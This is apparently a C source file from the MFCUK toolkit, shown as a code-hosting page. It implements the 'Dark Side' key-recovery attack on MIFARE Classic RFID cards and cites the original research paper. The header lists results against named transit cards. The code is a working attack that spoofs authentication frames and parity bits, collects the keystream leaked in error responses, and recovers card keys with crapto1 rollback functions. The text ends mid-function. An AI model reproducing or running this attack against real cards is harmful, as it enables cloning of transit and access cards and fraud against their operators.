You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738
  1. /*
  2. LICENSE
  3. This program is free software: you can redistribute it and/or modify
  4. it under the terms of the GNU General Public License as published by
  5. the Free Software Foundation, either version 2 of the License, or
  6. (at your option) any later version.
  7. This program is distributed in the hope that it will be useful,
  8. but WITHOUT ANY WARRANTY; without even the implied warranty of
  9. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  10. GNU General Public License for more details.
  11. You should have received a copy of the GNU General Public License
  12. along with this program. If not, see <http://www.gnu.org/licenses/>.
  13. */
  14. /*
  15. Package:
  16. MiFare Classic Universal toolKit (MFCUK)
  17. Filename:
  18. mfcuk_keyrecovery_darkside.c
  19. Name:
  20. Mifare Classic "Dark-Side" Attack to reover at least 1 key for card where NO keys
  21. are known. Uses as a corner-stone the lfsr_common_prefix() from crapto1 3.1
  22. After this, the MFOC from Nethemba team is used to recover rest of the
  23. keys using "Nested-Authentication" Attack
  24. Description:
  25. Implementing Mifare Classic "Dark Side" Key Recovery attack from this paper:
  26. "THE DARK SIDE OF SECURITY BY OBSCURITY"
  27. http://eprint.iacr.org/2009/137.pdf
  28. For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and
  29. before authentication technique. Most of the times it gives pretty good results.
  30. To improve the overall results, the Nt tag nonces are stored and looked-up in
  31. a sorted array of Nt entries. We can see it as a hash map/lookup table with
  32. resumable states for given tag nonces.
  33. cons - extends the timeslot of attack
  34. pros - makes attack more stable since tag nonce fixation is not as accurate
  35. on ACR122 as on Proxmark3 or other specialized devices
  36. License:
  37. GPL2 (see below), Copyright (C) 2009, Andrei Costin
  38. OS/Envs supported:
  39. Linux
  40. Windows
  41. MacOS
  42. Cygwin
  43. Hardware tested/supported:
  44. ACR 122U (usb)
  45. Compiling:
  46. Linux/MacOS/Cygwin
  47. gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c
  48. ./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc
  49. -I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib
  50. MSVS
  51. just copy an existing project (nfc-anticol for example) from libnfc-1.2.1-vs2005,
  52. add the crapto1 .c files to the project and zv_mf_dark_side.c
  53. Usage:
  54. ./mfcuk_keyrecovery_darkside -h
  55. c:\mfcuk_keyrecovery_darkside.exe -h
  56. Results:
  57. about 2 minutes to recover first key for RATB Bucharest cards (10ms & 50ms sleeps)
  58. about 3 minutes to recover first key for EasyCard Taipei (10ms & 50ms sleeps)
  59. Known Issues:
  60. 1. The tag fixation with ACR122 is not performing well if CPU is under high load (eg. Flash Movie playing in IE, etc.)
  61. 2. Either a bug in libnfc 1.2.1 or a bug in RATB card-types 0x88 consecutive authentication goes like - one fails, one ok, even though correct keys are used
  62. 2.a Maybe need to check AC bits?
  63. 2.b Maybe AC bits/0x88 cards need a read/write or failed operation in between for the "state" to be ok and next auth to be successful?
  64. Contact, bug-reports:
  65. http://andreicostin.com/
  66. mailto:zveriu@gmail.com
  67. Requirements:
  68. crapto1 library 3.1 (http://code.google.com/p/crapto1)
  69. libnfc 1.4.2 (http://www.libnfc.org)
  70. * @file mfcuk.c
  71. */
  72. /*
  73. VERSION HISTORY
  74. --------------------------------------------------------------------------------
  75. | Number : 0.1
  76. | dd/mm/yyyy : 14/11/2009
  77. | Author : zveriu@gmail.com, http://andreicostin.com
  78. | Description: Initial version as POC, Windows MS Visual Studio version only
  79. --------------------------------------------------------------------------------
  80. | Number : 0.2
  81. | dd/mm/yyyy : 14/11/2009
  82. | Author : zveriu@gmail.com, http://andreicostin.com
  83. | Description: Fixed some info; removed uneeded code, variables, commented lines;
  84. | proper identation; introduced some portability fixes;
  85. --------------------------------------------------------------------------------
  86. | Number : 0.3
  87. | dd/mm/yyyy : 14/11/2009
  88. | Author : zveriu@gmail.com, http://andreicostin.com
  89. | Description: Restructured the functionality into reusable modules, preparing
  90. | for MFCUK package and integration with MFOC; autogen and automake packaging;
  91. --------------------------------------------------------------------------------
  92. */
  93. #include "config.h"
  94. #include <stdio.h>
  95. #include <stdlib.h>
  96. #include <inttypes.h>
  97. #if defined(HAVE_SYS_TYPES_H)
  98. # include <sys/types.h>
  99. #endif
  100. #if defined(HAVE_SYS_ENDIAN_H)
  101. # include <sys/endian.h>
  102. #endif
  103. #if defined(HAVE_ENDIAN_H)
  104. # include <endian.h>
  105. #endif
  106. #if defined(HAVE_COREFOUNDATION_COREFOUNDATION_H)
  107. # include <CoreFoundation/CoreFoundation.h>
  108. #endif
  109. #if defined(HAVE_BYTESWAP_H)
  110. # include <byteswap.h>
  111. #endif
  112. #include "log.h"
  113. #if defined (__GNUC__)
  114. # define GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__ * 10)
  115. # if GCC_VERSION >= 430
  116. // Since GCC >= 4.30, GCC provides __builtin_bswapXX() alternatives so we switch to them
  117. # undef bswap_16
  118. # define bswap_16 __builtin_bswap16
  119. # undef bswap_32
  120. # define bswap_32 __builtin_bswap32
  121. # undef bswap_64
  122. # define bswap_64 __builtin_bswap64
  123. # endif
  124. #endif
  125. // Fallback...
  126. #if !defined (bswap_16) || !defined (bswap_32) || !defined (bswap_64)
  127. # warning "No bswap function found! Using untested alternatives..."
  128. static inline uint16_t bswap_16(uint16_t x)
  129. {
  130. return (x >> 8) | (x << 8);
  131. }
  132. static inline uint32_t bswap_32(uint32_t x)
  133. {
  134. return (bswap_16(x & 0xffff) << 16) | (bswap_16(x >> 16));
  135. }
  136. static inline uint64_t bswap_64(uint64_t x)
  137. {
  138. return (((uint64_t)bswap_32(x & 0xffffffffull)) << 32) | (bswap_32(x >> 32));
  139. }
  140. #endif
  141. #include <string.h>
  142. #include <err.h>
  143. #include <errno.h>
  144. #ifdef WIN32
  145. #define NOMINMAX
  146. #include "windows.h"
  147. #include "xgetopt.h"
  148. #elif __STDC__
  149. #include <unistd.h>
  150. #include <sys/time.h>
  151. #include <sys/types.h>
  152. #endif
  153. // NFC
  154. #include <nfc/nfc.h>
  155. #include <nfc/nfc-types.h>
  156. // Crapto1
  157. #include "crapto1.h"
  158. // imported from libnfc's examples
  159. #include "mifare.h"
  160. #include "nfc-utils.h"
  161. // internal
  162. #include "mfcuk_mifare.h"
  163. #include "mfcuk_utils.h"
  164. #include "mfcuk_finger.h"
  165. #include "mfcuk.h"
  166. #define MAX_FRAME_LEN 264
  167. #ifdef DEBUG
  168. # warning Debug mode is enabled
  169. # define WARN(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" WARNING: " __VA_ARGS__ )
  170. # define ERR(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" ERROR " __VA_ARGS__ )
  171. #else
  172. # define WARN(...) warnx ("WARNING: " __VA_ARGS__ )
  173. # define ERR(...) warnx ("ERROR: " __VA_ARGS__ )
  174. #endif
  175. static uint32_t bswap_32_pu8(uint8_t *pu8)
  176. {
  177. // TODO: This function need to be tested on both endianness machine types
  178. return pu8[0] << 24 | pu8[1] << 16 | pu8[2] << 8 | pu8[3];
  179. }
  180. extern mfcuk_finger_tmpl_entry mfcuk_finger_db[];
  181. extern int mfcuk_finger_db_entries;
  182. // TODO: rename the array and number of items in array variable names
  183. tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now
  184. uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries
  185. uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc.
  186. bool bfOpts[256] = {false}; // Command line options, indicates their presence, initialize with false
  187. uint8_t verboseLevel = 0; // No verbose level by default
  188. static const nfc_modulation nmMifare = {
  189. .nmt = NMT_ISO14443A,
  190. .nbr = NBR_106,
  191. };
  192. static int compareTagNonces(const void *a, const void *b)
  193. {
  194. // TODO: test the improvement (especially corner cases, over/under-flows) "return ( (*(uint32_t*)a) - (*(uint32_t*)b) );
  195. if (*(uint32_t *)a > *(uint32_t *)b) return 1;
  196. if (*(uint32_t *)a == *(uint32_t *)b) return 0;
  197. if (*(uint32_t *)a < * (uint32_t *)b) return -1;
  198. return 0; // Never reach here, but keep compilers happy
  199. }
  200. // TODO: combine mfcuk_verify_key_block() with mfcuk_recover_key_block(), since a lot of code is duplicate
  201. static uint32_t mfcuk_verify_key_block(nfc_device *pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, uint8_t bTagType, uint32_t uiBlock)
  202. {
  203. uint32_t pos;
  204. // Keystream related variables - for verification with Crapto1/Crypto1 rollback
  205. uint32_t nr_encrypted = 0;
  206. uint32_t reader_response = 0;
  207. uint32_t tag_response = 0;
  208. uint32_t ks2 = 0;
  209. uint32_t ks3 = 0;
  210. struct Crypto1State *pcs;
  211. uint64_t lfsr;
  212. // Communication related variables
  213. uint8_t abtAuth[4] = { 0x00, 0x00, 0x00, 0x00 };
  214. uint8_t abtArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  215. uint8_t abtArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  216. uint8_t abtRx[MAX_FRAME_LEN];
  217. uint8_t abtRxPar[MAX_FRAME_LEN];
  218. uint32_t nt, nt_orig; // Supplied tag nonce
  219. if ((bKeyType != keyA) && (bKeyType != keyB)) {
  220. return MFCUK_FAIL_KEYTYPE_INVALID;
  221. }
  222. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  223. return MFCUK_FAIL_TAGTYPE_INVALID;
  224. }
  225. if (!is_valid_block(bTagType, uiBlock)) {
  226. return MFCUK_FAIL_BLOCK_INVALID;
  227. }
  228. // Configure the authentication frame using the supplied block
  229. abtAuth[0] = bKeyType;
  230. abtAuth[1] = uiBlock;
  231. iso14443a_crc_append(abtAuth, 2);
  232. // Now we take over, first we need full control over the CRC
  233. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false)) {
  234. return MFCUK_FAIL_COMM;
  235. }
  236. // We need to disable EASY_FRAMING feature to talk in "raw" mode
  237. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false);
  238. // Request plain tag-nonce
  239. if (0 > nfc_initiator_transceive_bytes(pnd, abtAuth, 4, abtRx, sizeof(abtRx), -1)) {
  240. return MFCUK_FAIL_COMM;
  241. }
  242. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true);
  243. // Save the tag nonce (nt)
  244. nt = bswap_32_pu8(abtRx);
  245. nt_orig = nt;
  246. // Init cipher with key
  247. pcs = crypto1_create(ui64Key);
  248. // Load (plain) uid^nt into the cipher
  249. for (pos = 0; pos < 4; pos++) {
  250. // Update the cipher with the tag-initialization
  251. crypto1_byte(pcs, ((uiUID >> (8 * (3 - pos))) & 0xFF) ^ abtRx[pos], 0);
  252. }
  253. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  254. for (pos = 0; pos < 4; pos++) {
  255. // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
  256. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^ 0x00;
  257. // Encrypt the parity bits for the 4 plaintext bytes of nr
  258. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
  259. // Get the keystream encrypted Nr value currently loaded into the cypher, i.e. {Nr}
  260. nr_encrypted = nr_encrypted << 8;
  261. nr_encrypted = nr_encrypted | abtArEnc[pos];
  262. }
  263. // Skip 32 bits in pseudo random generator
  264. nt = prng_successor(nt, 32);
  265. // Generate reader-answer from tag-nonce (Ar)
  266. for (pos = 4; pos < 8; pos++) {
  267. // Get the next random byte for verify the reader to the tag
  268. nt = prng_successor(nt, 8);
  269. // Encrypt the reader-answer (nt' = suc2(nt))
  270. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^(nt & 0xff);
  271. // Encrypt the parity bits for the 4 plaintext bytes of nt'
  272. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt & 0xff);
  273. // Get the keystream encrypted reader response currently loaded into the cypher, i.e. {Ar}
  274. reader_response = reader_response << 8;
  275. reader_response = reader_response | abtArEnc[pos];
  276. }
  277. // Finally we want to send arbitrary parity bits
  278. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false)) {
  279. return MFCUK_FAIL_COMM;
  280. }
  281. int res;
  282. if (0 > (res = nfc_initiator_transceive_bits(pnd, abtArEnc, 64, abtArEncPar, abtRx, sizeof(abtRx), abtRxPar))) {
  283. return MFCUK_FAIL_AUTH;
  284. }
  285. crypto1_destroy(pcs);
  286. if (res == 32) {
  287. for (pos = 0; pos < 4; pos++) {
  288. tag_response = tag_response << 8;
  289. tag_response = tag_response | abtRx[pos];
  290. }
  291. ks2 = reader_response ^ prng_successor(nt_orig, 64);
  292. ks3 = tag_response ^ prng_successor(nt_orig, 96);
  293. pcs = lfsr_recovery64(ks2, ks3);
  294. lfsr_rollback_word(pcs, 0, 0);
  295. lfsr_rollback_word(pcs, 0, 0);
  296. lfsr_rollback_word(pcs, nr_encrypted, 1);
  297. lfsr_rollback_word(pcs, uiUID ^ nt_orig, 0);
  298. crypto1_get_lfsr(pcs, &lfsr);
  299. crypto1_destroy(pcs);
  300. if (lfsr != ui64Key) {
  301. return MFCUK_FAIL_CRAPTO;
  302. }
  303. } else {
  304. return MFCUK_FAIL_AUTH;
  305. }
  306. return MFCUK_SUCCESS;
  307. }
  308. static uint32_t mfcuk_key_recovery_block(nfc_device *pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, uint8_t bTagType, uint32_t uiBlock, uint64_t *ui64KeyRecovered)
  309. {
  310. // Communication variables
  311. uint32_t pos, pos2, nt;
  312. struct Crypto1State *pcs;
  313. uint8_t abtAuth[4] = { 0x60, 0x00, 0x00, 0x00 };
  314. uint8_t abtArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  315. uint8_t abtArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  316. uint8_t abtRx[MAX_FRAME_LEN];
  317. uint8_t abtRxPar[MAX_FRAME_LEN];
  318. // zveriu
  319. static uint32_t nt_orig = 0;
  320. char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5)
  321. tag_nonce_entry_t *ptrFoundTagNonceEntry = NULL;
  322. // Key-recovery variables
  323. struct Crypto1State *states_list;
  324. struct Crypto1State *current_state;
  325. uint32_t i;
  326. uint64_t key_recovered;
  327. uint8_t flag_key_recovered = 0; // FIXME: fix the {Nr} iteration properly. This a quick fix for cases when 0xDEADBEEF {Nr} is not working
  328. if ((bKeyType != keyA) && (bKeyType != keyB)) {
  329. return MFCUK_FAIL_KEYTYPE_INVALID;
  330. }
  331. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  332. return MFCUK_FAIL_TAGTYPE_INVALID;
  333. }
  334. if (!is_valid_block(bTagType, uiBlock)) {
  335. return MFCUK_FAIL_BLOCK_INVALID;
  336. }
  337. // Configure the authentication frame using the supplied block
  338. abtAuth[0] = bKeyType;
  339. abtAuth[1] = uiBlock;
  340. iso14443a_crc_append(abtAuth, 2);
  341. // Now we take over, first we need full control over the CRC
  342. nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false);
  343. // We need to disable EASY_FRAMING feature to talk in "raw" mode
  344. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false);
  345. // Request plain tag-nonce
  346. //printf("Nt: ");
  347. if (0 > nfc_initiator_transceive_bytes(pnd, abtAuth, 4, abtRx, sizeof(abtRx), -1)) {
  348. //printf("\n\nFAILURE - Failed to get TAG NONCE!!!\n\n");
  349. return MFCUK_FAIL_COMM;
  350. }
  351. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true);
  352. //print_hex(abtRx,4);
  353. // Save the tag nonce (nt)
  354. nt = bswap_32_pu8(abtRx);
  355. // zveriu
  356. //printf("INFO - Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt_orig), nt, nt_orig);
  357. nt_orig = nt;
  358. // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
  359. ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  360. // A new tag nonce detected, initialize it properly and store in the tag nonce "cache" array for use in it's next appearances
  361. if (!ptrFoundTagNonceEntry) {
  362. if (numSpoofEntries >= MAX_TAG_NONCES) {
  363. //printf("\n\nFAILURE - REACHED MAX_TAG_NONCES!!! (Are we so unlucky or the USB/reader is buggy?!)\n\n");
  364. return MFCUK_FAIL_MEMORY;
  365. }
  366. arrSpoofEntries[numSpoofEntries].tagNonce = nt_orig;
  367. arrSpoofEntries[numSpoofEntries].num_of_appearances = 1;
  368. numSpoofEntries++;
  369. // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
  370. qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  371. ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  372. // Put the initializations done in abtRxLen == 32 section here also because maybe we don't know the key actually
  373. ptrFoundTagNonceEntry->spoofFlag = 1;
  374. // Hardcoding {Nr} and {Ar} and try to guess parity bits
  375. ptrFoundTagNonceEntry->spoofNrEnc = MFCUK_DARKSIDE_START_NR;
  376. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  377. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  378. // First we need to satisfy STAGE1
  379. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  380. } else {
  381. ptrFoundTagNonceEntry->num_of_appearances++;
  382. if ( // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr}
  383. (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) ||
  384. // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK
  385. ((ptrFoundTagNonceEntry->current_out_of_8 >= 0) && (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20))
  386. ) {
  387. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  388. ptrFoundTagNonceEntry->spoofNrEnc++;
  389. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  390. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  391. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  392. return MFCUK_FAIL_AUTH;
  393. }
  394. /*
  395. // TODO: if above block is working fine, delete this commented - above one created to reduce code-duplication
  396. // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr}
  397. if (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS)
  398. {
  399. //printf("FAILURE - This Nt, {Pfx}, consecutive {Nr}s and {ParBits} combination cannot produce a key-recoverable state\n");
  400. //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n");
  401. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  402. ptrFoundTagNonceEntry->spoofNrEnc++;
  403. ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE;
  404. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  405. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  406. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  407. return MFCUK_FAIL_AUTH;
  408. }
  409. if (ptrFoundTagNonceEntry->current_out_of_8 >= 0)
  410. {
  411. // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK
  412. if (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20)
  413. {
  414. //printf("FAILURE - This consecutive {Nr}s and {ParBits} combination cannot produce all 8 required NACKs and KSs of NACKs\n");
  415. //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n");
  416. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  417. ptrFoundTagNonceEntry->spoofNrEnc++;
  418. ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE;
  419. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  420. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  421. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  422. return MFCUK_FAIL_AUTH;
  423. }
  424. }
  425. */
  426. }
  427. sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag;
  428. // Init cipher with key
  429. pcs = crypto1_create(ui64Key);
  430. // Load (plain) uid^nt into the cipher
  431. for (pos = 0; pos < 4; pos++) {
  432. // Update the cipher with the tag-initialization
  433. // TODO: remove later - crypto1_byte(pcs, pbtUid[pos]^abtRx[pos], 0);
  434. crypto1_byte(pcs, ((uiUID >> (8 * (3 - pos))) & 0xFF) ^ abtRx[pos], 0);
  435. }
  436. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  437. for (pos = 0; pos < 4; pos++) {
  438. // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
  439. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^ 0x00;
  440. // Encrypt the parity bits for the 4 plaintext bytes of nr
  441. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
  442. if (sendSpoofAr) {
  443. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  444. abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofNrEnc >> (8 * (3 - pos))) & 0xFF;
  445. abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7 - pos)) & 0x01;
  446. } else {
  447. abtArEnc[pos] = (ptrFoundTagNonceEntry->nrEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8 * (3 - pos))) & 0xFF;
  448. abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7 - pos)) & 0x01;
  449. }
  450. }
  451. }
  452. // Skip 32 bits in pseudo random generator
  453. nt = prng_successor(nt, 32);
  454. // Generate reader-answer from tag-nonce (Ar)
  455. for (pos = 4; pos < 8; pos++) {
  456. // Get the next random byte for verify the reader to the tag
  457. nt = prng_successor(nt, 8);
  458. // Encrypt the reader-answer (nt' = suc2(nt))
  459. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^(nt & 0xff);
  460. // Encrypt the parity bits for the 4 plaintext bytes of nt'
  461. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt & 0xff);
  462. // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above
  463. /* If all eight parity bits are correct, but the answer Ar is
  464. wrong, the tag responds with the 4-bit error code 0x5
  465. signifying failed authentication, called ‘transmission error’ in [KHG08].
  466. */
  467. if (sendSpoofAr) {
  468. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  469. abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofArEnc >> (8 * (7 - pos))) & 0xFF;
  470. abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7 - pos)) & 0x01;
  471. } else {
  472. abtArEnc[pos] = (ptrFoundTagNonceEntry->arEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8 * (7 - pos))) & 0xFF;
  473. abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7 - pos)) & 0x01;
  474. }
  475. }
  476. }
  477. if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) {
  478. // Prepare for the next round (if this one is not successful) the next 5 bit combination for current parity bits
  479. ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]++;
  480. }
  481. // Finally we want to send arbitrary parity bits
  482. nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false);
  483. // Transmit reader-answer
  484. //printf(" Ar: ");
  485. //print_hex_par(abtArEnc,64,abtArEncPar);
  486. int res;
  487. if (0 > (res = nfc_initiator_transceive_bits(pnd, abtArEnc, 64, abtArEncPar, abtRx, sizeof(abtRx), abtRxPar))) {
  488. if (sendSpoofAr) {
  489. ptrFoundTagNonceEntry->spoofParBitsEnc++;
  490. }
  491. return MFCUK_FAIL_AUTH;
  492. }
  493. // zveriu - Successful: either authentication (szRx == 32) either encrypted 0x5 reponse (szRx == 4)
  494. if (res == 4) {
  495. //printf("INFO - 4-bit (szRx=%d) error code 0x5 encrypted (abtRx=0x%02x)\n", szRx, abtRx[0] & 0xf);
  496. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  497. ptrFoundTagNonceEntry->spoofNackEnc = abtRx[0] & 0xf;
  498. ptrFoundTagNonceEntry->spoofKs = ptrFoundTagNonceEntry->spoofNackEnc ^ 0x5;
